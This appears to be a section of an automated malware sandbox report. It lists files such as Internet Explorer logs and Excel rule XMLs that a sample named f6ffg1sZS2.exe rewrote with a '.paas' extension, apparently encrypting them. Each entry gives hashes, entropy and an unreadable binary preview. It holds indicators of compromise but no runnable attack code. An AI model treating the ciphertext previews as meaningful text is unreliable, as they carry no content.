Preview:	<?xml......l...3.sK..\1%.lpx.c.w.k...m. \.U.iN.a...8V.....h;..r=qD&x..\.(?..%e]U}..:=..K.....,...V.i..T!..\|g\|yg.........'H....:/8.d.x{...WM.S....ZL.t.W.W%s....AV]...M.......(.z..z.v^G.>q.._W......i.]=..{1..^&7...>.....aG?..N.Sq.......^....)..k.E..3...L.C..t.E&..D\|.O\|#1.5Ne`.,.`..-...?......'.Yj>..`.b..u3{.(%/u<...$.E.C;..w._.\|.q....ED3..}.q.w..E\|...Bn...Zk$.....`XR...v.....dkB)C"....+..Y.S.....-......E.~.y.......I......G.m;...........y...P........\|JzP......^~....`W.c..=..l]%.._%......;).....0^.Qz..............k.T-.X-....%]...C..=.M$I.i.9.Z..Kp#v.2?K.Y._P...{#{..Q.&.Y....)...z@N.@]@Y...dl+......!..h.....~..S.K.9.o \..m4+~..)a]F.v..I_.X..Yk...G....C...p..I'......j^l.x.....B.G.0d.../....\....7.&G..(...XO6.dk..j.L.hOO.wh..WD....r.._...y.....W.f~..2$O..Z...\...n.quUi./.zQ...HT.. ..kiWyZz...t.. ...V..`e.=.'..)j.z....:..yD}.k..k..Y/.E..^Y.a.%..o.(-..r..3..D.D....p....S...y.5B;6K.....n.B......=y[x..'.....R.;qw/..TB_...1.....z%.7*Q..z.[...A..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.969524609944405
Encrypted:	false
SSDEEP:	192:U+7BfG6tKuOPsoI4qZMM11BvenuRKrxe2aqFrTD:U+k6EP7qqM9mnuRKTa0
MD5:	87645CABE3C07E10E9D667A783B6BECC
SHA1:	FEBE99BDC5BE1A02189297A9D2C3D5EEB294D8BE
SHA-256:	E08D3D036DF1577057C57164F730A84E95E9D4BC981433E3DFB8D9D47831595E
SHA-512:	F792F212DFC9BCB8BA7909528EDC1831FD961377D9EDF458BBAC76FF477FD30A65A631B512756D580813880B8E7EC09020952B8EAE90B838B5502820B201E77A
Malicious:	false
Preview:	10/03-..\|.......Nn_g......j...6.......[..Nm.&.f7.'.1".~.7.....$e.K..n1..P...J.9D/\..a....1.N.\|Q..zWY..m__T.1N;.....N3\|.)..l....M.....`y.r...D...!a....0eKL#..S....p....&\|FT..._0\.c.R.M.....\|y.s.xXY..A\|'3....iq.R.....P..t......V.<(.../........qh.......d%e....W....%.X Y...]...3H.......Q;.!.c^.#.......r....Ei...e...OJX..5dx.....i.Y.,.^...2{.@.k..e..J..4.\...\..Hb.@ ...V.Z@.......A.E2o........Q..D.4L9)..1.+1.T..r.{'?.]U$?..P=....h.<....q."....XDd-{.....NeQ.j.N..r.7.=......w.%..n..M.9......~.(..........H:...u\|\T..g..L......SW.......((....H.....Fu>..8.<.....Qeaa..uO.>....n....[..mM..................GXS.0hi...E0....$8.\z<..2gL(f..>6!}...j.cd..6.hx....7.+f..-[...`;A .O.~y..#R.....'.....EO.......1.{&.Bu.-.. ..[b..H...O...4i..a......".m.ka.x.>g.U cz.j.wF.y.v.q..=.H.\....].<r.;.dyA..M.>o0...;=..X ........5w.z-7....X].H.....d3.%.....o..[J...Bo...."...I.5(..o...@.........x.w...m].9.H.t>._g...B..x<...o...-.T....zn...?V. o.....u..f./5........p

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.746725575121778
Encrypted:	false
SSDEEP:	12:QYfDGI+8TIkZRTu4pWqdEtV2Jq1EOezdLy25Mm3CmlonSl6WZptJrPmeZdcD7FaI:QJdFeRFpvCt0k1ENNMo6WHtJbmJRbD
MD5:	8B0D54F4207BDBB94B9647415B2D2CF5
SHA1:	724946EB358C57F1BFE8D3E21B8D4794E616C58A
SHA-256:	881A89ED0863F56F2CD621ECF3C9BAC559ACCB6F8DAF1B20711259EDDA0BB560
SHA-512:	6687C0E184BDFC74EFFA5AE7CC6F825885FFC86A707DA87DABA9BDCA4F85A633C75535A17F7744C9114CB44AFF4E0DC3C190DD6D2CA66EEF9E58A9DB21191BE5
Malicious:	false
Preview:	..1.0P.%...<d..........I.o..r..={.`?B..8...OW...S..{x....UY..y..z.;:....n...B.=.r....{..u}.4..\c..x....}......=y....n.d.V.R.?.a.....D.f.A.M...Tt.'...jK..d..'../X.Fd;Q.......4.w.V.....).....N..;j..Y.<F..n!..YYW.NN.I.W...o.0lgY.....6D..T..8...z.\|%.....x..KFL`9...Asi..BjD....z.....tC.......%.u..6.!.H...,.2.2.%#.r....d,...X.....J.).M..ao.)....q.....`.'$+....._..w..rM.S....e...s....%......jdt$3...r,..~.)...dd.$.....s.{.e..........f..s..../.bC..o..hf._J....E.V.i..&[....!.u..K......T..A.....I ......g....D.1.......#.!p..3.Qk..p..Nw....dR...,*...n Z..c....:4.......\Ozb....b..f.ou..)...].0....O.....,.CBZ.)..?'.(..7...xt]:....^:..RA..= ..oFxe....A...?.....C...\..`6.1..\|..]@i..+.c..;....r.{.t.03.~..QE....@.{z....p...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.874602413009776
Encrypted:	false
SSDEEP:	48:vxm2GHQ3G7wGA4LGycOIlcLMDWJ7ggmhyRlD:7GHQUwZyc7cwWgpyH
MD5:	9489EBBBAC7501613478528EF4287E52
SHA1:	0DECAB604A128DAC0914563E73D283E75BDDD2E0
SHA-256:	27EF5981BFB0554983428600D243B306499C90283DDA10034B46066B2A3F6952
SHA-512:	E329E83DFE37710CAC34E072A02910C108A206D302B1D031352461347EF605618A98CD48B4606906AE38E8CE1BED85F33BA926EC1121F2115D2DCE64DE1ADE44
Malicious:	false
Preview:	..1.0...rl.......~X..;.v...cf.....nu.O...,\.h......a..<......S....t.(....J.U.....s=v.4..mD%.^Z.=...v..h..19<.@r./.@d....p~....j&H....f.[.......t.Co.wz&{./......3..s#...`...Y...~8..........D1X..L... ...`..B..W.\|}.....4.W@......(.{7......e:~nz."..z...{..u-wf...N...h<oG..4W..p.m.0`%.W......E.v_I}d57..yF.\|...T.$`0...g.z............-4...Y...A.8bi....^...{$...U.T...\|......G-Q.k0dJ...6.....S.:.=.Gqj..m#Iq#...qe.......>8......URr)..Q.....t3.......^...l...>..vfIj.e./....D.yv2.....8........H...P.)..s.5.L.2h.z.7M.%.(...>........f....}7...h.a.(.(.-].....g$IX.l...u...I..Q..G.....U..8.....}..t.b....Y`o0L.5B......0..8.......f....+.$..../\.xB2M...b:..J.9...@..#k..+u......S.kjw....s\|..F..-....jv......i.hMY..AD..9-.C.t1+G...W.L....2u.D..\..9.N..5-..._.-..;G".D.<..Uu......*7.)......s(Y.....P....p"T..n.<py.-p...r............x...:..zl.E.{5.K...!....e.hq.;r.,.a%.d..!.Ag.j.\|0..j$.H..I..W.6k..<!..t..oj .m......Q}%T.....,.\|...#..m...3.W......sT.B.....%.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725819533222074
Encrypted:	false
SSDEEP:	3072:CqvOsw7e3N3Q4vKJ5kTBVozjxHhSOqYFISsjfs4D8tNpFdU:dw7edOJ2VozjBhSOnvsbD8HU
MD5:	8B3FAB75A9359C12038128D7AA3DA1DC
SHA1:	1A1B283664C7B9EF06D652DE74A1344618132F55
SHA-256:	E607CD14FC1E9D9CBC7A8175569311A990446DDCFD1031703CC9C44349673FE9
SHA-512:	8ED1BF46CFA5991CE9C101684753D738833DC7FA062F19C7755CC4586CEDC1EA6B1C8A8D2E8E9565B6CE8E0DD1A3C83A26541DEB5F1D00628A038D632AF81F74
Malicious:	false
Preview:	<?xml.M.i.../....t.u...k."$\;=<wx.J>E.p........c!..M.\|...~AG.E..`.Tk...:v.o..u......g./..Q..^....7!....Q......m..........^Y.[LH.>(`.. ..........\<.x`..$5._.NxO.;...S]#...3...c%q(....H!..v..4.;.5.U....;..uBKn...b.Y....JQ^Jp.....e..^..T.q5.^.&..Y..T..\|.3....z..5(b?m...........h.qn9OD...7.;).j.....G..C...uu.;..Vp?f...!.....c.4......\|.....\.....Ms.^.H.....z.\|... .sv;.X'q^c.b.........];.N.!.<..Id..X..F.........-LM2 ..r.I.........!..c.-P..A...3\|..6.m..e..JJ#..B..r......"0...r.#.. )...qOkn.......C..x.O?2....)[KC~h...;N..I[...h..tV.X.r...~N0.?tv..6.],.../RN...{...........,"6..&..4...,...)....-.c...Z6b......s[....1R....N..Lh:.Q.......tzP..._ RX.a..G....Q.G..o1L8_.....E.....5.X-............i.u...D.{.\G.......M.."l..+.C.5xj1.%=...p.,.G...R9T...........M..9.>.a........./....Uj...O..#..rT....;....bE.J..a.;.WWc-I(..M.,`r-.[Ja.t.$....K)..:.4KA.L.ZyJ.........P.%..cW.w.{.a5......{.i.)..P..pa...Z.. ..h%X{._...a.....Z..C.:.O{P.uV.iV....J.....R...p..%....lg.n.8.S

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100134v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7266480227797825
Encrypted:	false
SSDEEP:	12:69oOIk7cpqRbL9WRYMNBLw2cZXYEvxRBcbKRltCtc9EF3YAS2cii9a:Oo/k7pbL+l65ZXYIhn0tc2bD
MD5:	3A91E60C4C74D100FCC5CD93448DA207
SHA1:	46975905A7506E8657A05DA7C4259FF465F2ED11
SHA-256:	42A7CF68B4726E7DB16F343D5DF6D3E5BDEC00369068AC03C441F0A2D19BB35C
SHA-512:	29380651A8EC00A8563F5CBA29D73301AFAC218AE793970427532FBD781B0DBF0187CA162486DF091664F8E91D0031A41E1CBCE6F643D49D6E481DECE9BCA0CA
Malicious:	false
Preview:	<?xml....S....7.S...".v.Nr:OTX......U..al~x.....LY.....a.....!^Ch?......{....4.m$.b.^h,....1GL`...tf!.<Yx..>\|......6.R.3.s.^F......@.z.5.....a.a.T....."..#...N.J..;.TD.#..$G...G...%.;./_..H......i..e.....:..p!K.q....;.........(..D..k.M.M.i.%w...;U.......V.o...`7.e.1.a...m..c.c...^6\.y.Ot......+2......-k.wA\S8.1...vq.T[.$.%.Xo.R..m......35;.o...m.J...&'..."..._%.......l.0.~H..i.......C:on...s.T...@q..sZ.;@../..9mI....Lq9.Tt..D.I.".P..U<...6....V.]o..)...D.TgI..!.. ..+....iHOn.&E....8C....L.E..:..g.._)>......)m...C.j.7.9A..F<....j..-..K7....].0'.dl...`.....\...o...H5-...;.`y.G.....~.Su.zc.yB?..U.j..b\|.1F..oc#$&\|.+..j...._..MC....(hX.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100201v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.692704544663225
Encrypted:	false
SSDEEP:	12:EXQIF7t9BK3v5dBiszaEHLobA/nmnRUcjTRxV2xPwK1cO8BDU/T5s5uGS2cii9a:+QIF7fYvHxrcA/mnCcjNxV2p1cO8BD2o
MD5:	9A9B115EF00B162518F11B5FD13B9D53
SHA1:	97B3BBD16229E911C9B8447241796AF8D97A675F
SHA-256:	3827CB9C5E5DDB231CAD1976E87E0F33E2DA842CECCC638F16CE3F05AD6A7652
SHA-512:	0569E02BDA61B01C109853D97BE158E4739D03E1D7827941E943DF5524215378207EE0DE60A9F819FED475D46FEE752CFE1024837B6D427527F85E90F73CF3B4
Malicious:	false
Preview:	<?xmlyr......Xr.[......!s:<.....T.8.J.;.}.=........'.cVs.j.S..ud....._.qq....GV..{_.,EA../.....!.E}Bj5.....%.;.e..mT..).......K......Q..fi....hj!...b.)..veT.....}..Bk.t}.iq..T...0.........G.{....z.E..9.....l...h.C..jn..i.6../...uS.(U....s...7.~.T.B.3u....g.VW.5.6&)..G.h ].N..#.'ol.?..).K.It..r.1n%....J.Ft`{C.a.5..~.o..i...F~-..d9.m..O....h.....".B.t.).C#..I...(....K..A. ;L%!.L..N.G..oZ....F^.Fu....2...]....g..'....>".N..P...^...6.....T..I....9......p.....R.....#HKa.y..q1....u...U....y.....ls%.~A.@..Ai.k..C.&^=.._]..@....-..7A.5.-cs@..jX.....T.....w...B........?..3j.m...3.h.G.$?....<...........}.....I..S.....M....o....)g....k..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100202v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.759977112315963
Encrypted:	false
SSDEEP:	24:o9I6EHy65pBgpdbpFnV/72PVwhvvU2q28frtpa6Bw9XFTDbpXuh+bD:oW6EL5/gz1FnV/8GuG8fpEXpHhuh8D
MD5:	32E7652E7D11C928A2AD925D598B4605
SHA1:	1CEA777203E5C7EDD3FE7C6650C82B0AFDDAE84D
SHA-256:	F51BC9326A3BF4F4671D8EFD025A7B6DFD3181FBFB4917F0B1C5F43A2B7A8827
SHA-512:	6CCC01BC8D61615631541FFCD626F60E41E4A2BFB637792E6DD6F1410F78621354A97412C97F476C8F05FF9B47690FEAEAE8EE70CAB9D244F1E651C74025FE42
Malicious:	false
Preview:	<?xml.E6..M...a...y}...e.#K.H..I...]g.....G.YQ.`... ...R=.7..Y$..A.dgI..r+..K}I..#G(..S....Id..F.6).Q...0...K.a.....k..v.w...........0aR.W.........R....cvq.../.!B^?m/.R.N........Y..o.-.tM8..;.(.....,6..#Z.....:...c.6....uWY(.......{=..-.Rm...(.k......s.:.....}.gB.F..H5..c1.a.. :..q.h...........k..,../j.=.u.X...+..9A....t.SIRrm...<...\|...;@9.....U.g..K......p.<p'....5...O..\.(. .....(.g..[...nh/A...p%.H...m).p..".8.../r.[.,.1C.D....:6.._.t;....$B\|.J..w)8.D............ b.H....m ...,..@w.P..I.!......?y."..V..=....cI....(b...hk....z.r......6O...y.O.i..r.FjV...'...R..3.Hqe..V.=vt(..>-...J.... .j....n....C..=..t.t..L.?=.z..d.BqDN....._sb..I;.......GhS`.h....!..W5....`.....2.Q.,w,7....)...)S.._.E...B..m.'...N ..TX...@$.<].`..c.C...g./."`s._Y..O.j..5....>..._u...fLEMp.......f.@.s..3z.n.H......?.W......3SLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10450v3.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.8630061194963945
Encrypted:	false
SSDEEP:	24:MlB4Aozx7xwOPB8b2fHBgcUFhpXEhVhN4KPeb/6kxBWd2E6sGQNKfSoPbD:kB4AU7CNcUzNcH4+eNEWaK/TD
MD5:	B41555F1126ED3207C01C7F5339F1A0B
SHA1:	E61A597AABF4DEA73FD3710AF0D838750E62F353
SHA-256:	4DBBC03154BA5C7665A2BFAD1DDBE6A4CACCF0A34424098A3144077E87EC3B30
SHA-512:	9AAA18B2F6E4ED802234D420BACDF8E1F805BE3D4FA79F5DC8CE91C899D6048E16E9E9626D60271F170F1C62CE4C8B5E638AFCC58F2E5E33963A8EE52394421E
Malicious:	false
Preview:	<?xml...f..%m...pi......h.u...o..w..XS.z.\|_..gh.e.^..W..vo..`...R.l(.../.....T.~.?v..N...;8..c..{vQ.>...o..Ej.D..$........\.......h....&O..\.R....7..T.S2.Y.#.q...B.....6.h._..J...!..4R.....-.`...."S..{/.d.2I.3$o....#.U..L..QBA.yT.Ax.e.F..H...s.....T..P..\..4..td.[..5.R.s........7......s~.q.E.........=.d..C....f..=.).U.....m..@.e..`{.?..)..[..O....m5..\.X.y...@w.l.7zW.AN.....+'.H.3,.)'...............<6@...G.q.....J....b.......:.~..%.,LR.LJ...#..UY..t..L?f..!..i.M....cm....E......J...e.....I..:eM.T..6...2...w.`..".Y..tCy(~g\|...\|;S.l.8.....=.:.[3.U.70-..Xg...X.yV....yw.....i....>D.j.WH....O..',.x..s.Ia.W[k...@U...8,.....+..)Y..@.<.Sk."..^u....S7bH..H....=.B<C....WR.C..]....~I..Q.n.....5.eM.4.m....cNl..\|......(..1.Y".<~...=....LP..z2G..OJ....FK......k-{.'V..4m.j...-.....t&;..7!a.1p.G2.".....z0.%..Mi`u..'..V^.F..AeBvU&=l...u.5m....%.g...;..2..;d3.."....!\|*<.r.}..6..W.....k.K...............s;..........)..`F4.Sa...`H.u..mT....N....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10625v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.934010941308547
Encrypted:	false
SSDEEP:	48:S0bamCTE6PMEDmXZ4bSpxikc7iDOz2WzgnupRSz27ENv/zBnsxoty2Y1obMWSD:R70vDmXZ4bSdhCzJql2s/zBJDooz6
MD5:	BF1E6F380C4C5E8A906BAB0388D2C749
SHA1:	93D8242257593FAF7A2041D5896AD2AAD1937E49
SHA-256:	1903DBC09249894802DB5B7E9B39D14540D9DC9C3FD66DC72A742C925DAC35D7
SHA-512:	48F012B086C0B56159ACDBDCFC905E7DF63006665330E8BB474187AD321C51FD92BA21FC6A15FFCEABF2DABA368C2A643E35CB40F5897E42F3F0A9954115144B
Malicious:	false
Preview:	<?xml`..M..jFj. ..&.6".....`..p.d]..!8....S....X.../.k.........Y.E[...o-..]...F..sFrOR.j..2Nf..F\a.../.......8.....UF..<.Z8...w...7.....L.....2.F.E..FCI._.8..l..)4.....h....3..x.$...u....kW+..Z..8..D..G.........fB........Qq..&..d..*q.K..=..]c.bif.<..A^.zWG.......{.?...3..Z.6U[.=.H..;..g..UP.Z.%m.[...e...+..{...!.p\I.'.\|B..f.s%$W...]....u...x....._."."..1..>.._]..iX.....un...Q{N .Eu.D.6..^V.{.0.....i.......q5..B..%(7'....O..MXtu...qk......7..>I.%e..6..`.E.,jK(.....LH.Z..I...-.1...=.`....[.....K.f......b..".P.....9.eaq..1.`..Q.D....'..E,....h...cI.=L9...R.L...W..q..G.....V^p@.......I...D \.;..P..._....:<..3L.E.z.c.z..O.....sH..oq,&.\|.U.P...G...A.....?.]...T.z........(.X)..^.....}..qA.).g.j.ZG...zc.Q.b..S..vyV..1.(WY.n%.@....M-..o....[.9.ZQC...3+....j.N1..C.\#.Go...]...<..).,....Wm./...r+o#..#...4.-.a...X.X.D!.2....4..k.V._..k.7...!#a..6=.E....<ro&...C...@C..\...h.H'<...r.....5..}.XE...A{...K.....eE..`.....r...6.5.....o_..7....Dhl

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10626v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.883700879781871
Encrypted:	false
SSDEEP:	48:mY6gJXVJh9UwsZuKxoXKyUNogt+DA4xxaG4yD:2gJXDEwlaPya0DAwxaG4a
MD5:	858EEEF049FC6B2B6CB3CA7ED18E26AB
SHA1:	F27377058B43831677DE804A35CAEA4CA8B7A5D9
SHA-256:	DEA24BE21923437E82463C72669AB7F9DF797BCEB034A079A4782EBED0D4D566
SHA-512:	A39AC7861EE2288414E6FF60ED6BEFB109698D01B1610F61650E200F3E39D0558F46BE3201AE74F01D43AFA610DC485B127326598F38538A1B8507EDAE00EF27
Malicious:	false
Preview:	<?xmlX}L.\...TP.....o...W..#.t..5.Z~..o.%..M.u.....yg$.O...d.t1.UV..^..6..7"....n.g....Y..."b..Z....c6........d.W...f!<D.N..j........"->...'O#...KQ.9s........@.{.."f}.3@..T.C..$...6.. .....i.Qn..n.-,...0v.e..+...pN.#....;...aN.........1...w..=...4...&.'.Y.JtHY..."7ix..U.3.l..A.gx..E.e......S.u...B....2.Yx..Q(..a.?'Rtn..AC......D..^..I.N.>...c.Y....r9e.\.r>...I....SEL.I...U.......@H..L......@..{.@...7.....+.W...-K'p.....$..!/.............k.}y.s.......\.N.3P..&...'......l>aQ.e......,..o.!p.j...m'._.G^....<.+......9....D...;6...(6.j..>.@Nw>xUU3..K~]....=.BS...-.L2....$.....O.'.zF.bF2.....A..q.kr....h.M....8b.n.N........}"J!q.5....l<...5..U.'8;&..+9..:..l.qXW.Ge....w3.....L...X... .%.J@....m.W..?Dub....9.0....Y......TF........dbO.......s.L%....5..<.C.....o..3.yF......'2##D..Z.$tZ.N.bB..u...m&........aR...\|...."oe36nn..Y.'..Ok7.B... ..z....-.F..^..6.....*...=..2.$W..N.}-..:.p.-N...~.P..-.T<.\|wp..6.8...K.u...+.rO..S...`......L..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10627v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.910747247064104
Encrypted:	false
SSDEEP:	48:MkPOllLBKzwUBmtu/sFxBmMyQxQB1igq3ywA4A9hFH6D:MzlNwMbfFxB2UQBN2rfA9hk
MD5:	D30ED1C3BCE28C68F1B6E11CCD05CF56
SHA1:	AE08A7DFF2CCEA0A16BFB88198D967035972A75B
SHA-256:	010113B1FFF57E66F82BFB8DB81C20820660A9E6674511A312FBF78EDB891B54
SHA-512:	5E115CC947928C4A464888987E25EBE58BFD920CAC771134506B997D3777786527BA7805F74CD5453116E70FDE94DCF9748CEF80A66A775A30C1055EABB2B76F
Malicious:	false
Preview:	<?xml..L...}..........T...hu.._..5..e'v...'v+./..........R.......\|p...B...i.......... ....si....o._I"..a...R..s.c.%a0.<]..^c.Y.(M..h..+..)..M.....S.c...1&....`,qMX.._....YmQ..l.0gLu)#.Sa+....c.s1. .YI.....#....;%.tE$..a.{u[..nv.^.0....,..q...z..b......Au......'......_..).b.fr~NU<../..JB...jy...&Nej.:<...H.JgW@.tl...Yv..d!...S.F`.......cJ~ V%...;...u..3.vE.....Y5... .!k..i.../.%..xk.2..\.A`.wf.6....Y.fN/_......g.....NP&...I..M...3.Ie.UL%J;s..xF..7.C....../r..S..4....a.k....$....\.J.K\.k.;.. .}J..F..b.O.<.:.-..g.G...S.xy%...R.....e1..k..j+w..}..Z..7...e..l....].N..".%...;..2.o...-.A....=..SB..;.$.]-.y.VK.hE.dBOR.x...I...w8...%.p......._{ ..jb..,.\8.G....q}....~S ..O.Yq...]..5.$..,.C.K...;.!.3.._."....%,...&tVXz..%k$?...6..(....f...T\.F.{.....k.$.X>......_g..1W.g.g..ZW....-.x......;.'~.....X{,.8.jf...p_..\|..[y..G.....T(..@...@...&.[..,.N,.....~.+u.^WCf..O..B\|k...B@.~F...4%.,g^..o...1...H....m..K..J..&x..Nd.n_s.;........R.fem#.5....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10781v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.741288932908972
Encrypted:	false
SSDEEP:	24:dz2nPV2GHP21aCQGKuMMjLoXPc/LEwZLJKk1qmIIbD:Fu8Q5GKgjs2LZZLc6dISD
MD5:	F688F9123395AB3037CDD57B08048A97
SHA1:	A2F884C67D7CDCBEAB45CAEC14620B504E7F43AB
SHA-256:	7367EA883F02CE210C723DBB7B72520C657319089FD3B90CB9801B2EAB30D030
SHA-512:	4D0666662F96970E4F520E9422D24CC5E6FC6313F0B85EA53E195323379D18D7B3EFB38D965E4C9329C435FEA01B19043524ADE2BCF5FCE83BE10378A1E8BDB1
Malicious:	false
Preview:	<?xml..(n..E.)...0...`O.N................w.pc.0...GI.U#[.E...l..F.Vw7w.-.s.\|..H..5I(..5...k}.........uP.Zv.......m..{....eT..?C..Q.......U.......WO.....S...k.gG...I).......?z.8?.8M._`.nG..[.g`.`:_TaI..u!.O.....1{.K.C2.#f/....iVhqtBK..J...I..Z.3]+i.:...c..w....._.c./.P......@1\AL..jb...>....u.....v.).Kd.......=..*.E~..!.F...\|.....@...........8..@.^d....H.f....3.^E6.........i.;.Ru/_zu".$S>..pS.../1...._..G...(..}..t:.z....%.......7B.....K....k6.:.>......dO.....2..$..8\1r..3..-.,...._b.c...B..T.jQ.++!yH-.\.....)..HN.....I.....J.a...X...u.zlM..4~.-.3).mB....-./...R.n.}.......wY.....a.L2X.v....s....5......].Y0.......S...3.,....GJ..K..b....G..AD....Z..,w.8..iV.........d4..Vq..e.....jLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10784v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.89813178011459
Encrypted:	false
SSDEEP:	48:ON0YjICwkQZZ3urwI84Zzcb2T3K+rat4Lh33+YGJSasA8ZwAAtW9mKD:KxFtk4ZYtiuxJBsAAtAtW9mC
MD5:	13F5D637E597D7124A0B8B01ED9FD82F
SHA1:	E324FA4FEA6A75A49B8FBF78E7F7686ED5662372
SHA-256:	374255B1B1FDC1A14059A4C7A7FBBC6517DE9B6577B861D3304234EB638497D2
SHA-512:	83CF3562010C60816DD3BC3A30841A7E344CB8AA44D06358DD67AFB0393C855A1F04BF520FBFA9CE7540C37CF826394436AF0AEFAB7E74A5E3D941CBE41C81DE
Malicious:	false
Preview:	<?xml..y`.NVU.@@........]..!+.4..T..1..+N.Y}..Q...v.....I.s.1L^f....;W&\.j...!.....UN..n..d.Y....\|Pz...Z....J=E.........G{V1.h#........C.@..t.......n.Xz...P.K__...^X..&.b$.f'(e].D-qF..cd...gi.Zg..M........ ....a.hG. .O..8V@)B..\.b.1.o..KJ>...n6.!.....$.n.A.....=.G.p9.,h.d...\.......`..0.o._KU.Y..?.U..:3..lv..T.../...P.....V..vc.5..'.....:........ac..nl.8..V]P..\.W.;/...GQr'Q (.@D.p...0'.%M)...]..j....0..F.9r..N..)&X....uM...,..MJ.....ZS....>]..A#.Du.....".h......u..{..+..Sr._...B..n.Q^.d%Th..-.x.....u...\..M..Z.M.V....~R.g.......G\|..gX..h...J......z.9..a1a.T\|K.L..1........~..%...".U..z.S..if~...&W..}...s....e.`.8.:.!-....nm.u.a.@.!.,.......g.-ON@..=.c.q.y.\...14....+9...........d/.4YA95.q.k..I....g......M@..........1.Q.X.SUNO..J.8..@~..Y.:...\|.c...p.SE...T%:.H..M.._...r'..PD.#.,.B...rin9G\|..[}q..V.1u...\|@....^..N]%..l%/..u".._.,...L.G.Z.[...{..c.Yr.>J..06$..3.s`.k}D.....$....9..ng..11..?.......%..GT~fr8..tt.Y.g..G;...=F.....O..h7....4>.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10800v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.691403235694865
Encrypted:	false
SSDEEP:	12:z18W5hKETSJvSBVGTBYe/CGz8iuuA1TBGdztI0WfeKzrLatHY3UAwY3aS2cii9a:ZHG1JaBs9YedYkA1th0geKONYgrbD
MD5:	A1320EE818C613EEFE6ECB0263AF7865
SHA1:	F6D804AD25654E9906512E36CDFC8786C6A1EAB4
SHA-256:	543886D100367ADA77D5FFDD20F9FA0C886BC3F0C4E485BFDBB3824907D4E440
SHA-512:	3D4A303D42FB443066853FF939D81FAD7E8FC9BA65D57DAC7AE627DAC1860216F680E09325CCF0A271535980917E6EE4987C72FE8425E250A8D41287CB36E497
Malicious:	false
